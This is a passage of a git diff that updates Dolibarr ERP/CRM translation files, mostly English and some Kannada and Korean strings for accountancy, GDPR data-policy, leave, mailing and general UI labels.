balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/kn_IN/datapolicy.lang b/htdocs/langs/kn_IN/datapolicy.lang new file mode 100644 index 00000000000..9f7ab80b21f --- /dev/null +++ b/htdocs/langs/kn_IN/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = ಗ್ರಾಹಕ +DATAPOLICY_TIERS_PROSPECT = ನಿರೀಕ್ಷಿತ +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = ಪೂರೈಕೆದಾರ +DATAPOLICY_CONTACT_CLIENT = ಗ್ರಾಹಕ +DATAPOLICY_CONTACT_PROSPECT = ನಿರೀಕ್ಷಿತ +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = ಪೂರೈಕೆದಾರ +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/kn_IN/holiday.lang b/htdocs/langs/kn_IN/holiday.lang index 3d0ae64be0f..bfb98a1138b 100644 --- a/htdocs/langs/kn_IN/holiday.lang +++ b/htdocs/langs/kn_IN/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Monthly statement MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Start date @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=You must select a start date. NoDateFin=You must select an end date. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Reason UserCP=User ErrorAddEventToUserCP=An error occurred while adding the exceptional leave. AddEventToUserOkCP=The addition of the exceptional leave has been completed. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Previous Balance NewSoldeCP=New Balance alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=ಗುಂಪುಗಳು +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/kn_IN/mails.lang b/htdocs/langs/kn_IN/mails.lang index 52c4d4dbf69..d94546ba22f 100644 --- a/htdocs/langs/kn_IN/mails.lang +++ b/htdocs/langs/kn_IN/mails.lang @@ -7,10 +7,10 @@ MailCard=EMailing card MailRecipients=Recipients MailRecipient=Recipient MailTitle=Description -MailFrom=Sender +MailFrom=From MailErrorsTo=Errors to MailReply=Reply to -MailTo=Receiver(s) +MailTo=To MailToUsers=To user(s) MailCC=Copy to MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=ಮೂರನೇ ಪಕ್ಷಗಳು SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/kn_IN/main.lang b/htdocs/langs/kn_IN/main.lang index ff24fd1b843..870bcf2858d 100644 --- a/htdocs/langs/kn_IN/main.lang +++ b/htdocs/langs/kn_IN/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=No translation Translation=Translation +Translations=Translations CurrentTimeZone=TimeZone PHP (server) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Valid Approve=Approve Disapprove=Disapprove ReOpen=Re-Open +OpenVerb=ತೆರೆಯಲಾಗಿದೆ Upload=Upload ToLink=Link Select=Select @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=No user group defined Password=Password -PasswordRetype=Retype your password +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Note that a lot of features/modules are disabled in this demonstration. Name=ಹೆಸರು NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Description DescriptionOfLine=Description of line DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Event @@ -344,7 +353,7 @@ KiloBytes=Kilobytes MegaBytes=Megabytes GigaBytes=Gigabytes TeraBytes=Terabytes -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Events about this member ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s late ToDo=To do Completed=Completed @@ -517,6 +527,7 @@ or=or Other=ಇತರ Others=Others OtherInformations=Other information +Workflow=Workflow Quantity=Quantity Qty=Qty ChangedBy=Changed by @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Attached files and documents JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=Feature disabled MoveBox=Move widget Offered=Offered NotEnoughPermissions=You don't have permission for this action +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Session name Method=Method Receive=Receive @@ -798,6 +811,7 @@ URLPhoto=URL of photo/logo SetLinkToAnotherThirdParty=Link to another third party LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link to order LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiscal year ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Contracts SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Rate +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user diff --git a/htdocs/langs/ko_KR/accountancy.lang b/htdocs/langs/ko_KR/accountancy.lang index 30f9c2aa668..e2f66380bab 100644 --- a/htdocs/langs/ko_KR/accountancy.lang +++ b/htdocs/langs/ko_KR/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=원장 BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=매출분개장 -ACCOUNTING_PURCHASE_JOURNAL=구매분개장 -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=날짜 @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number 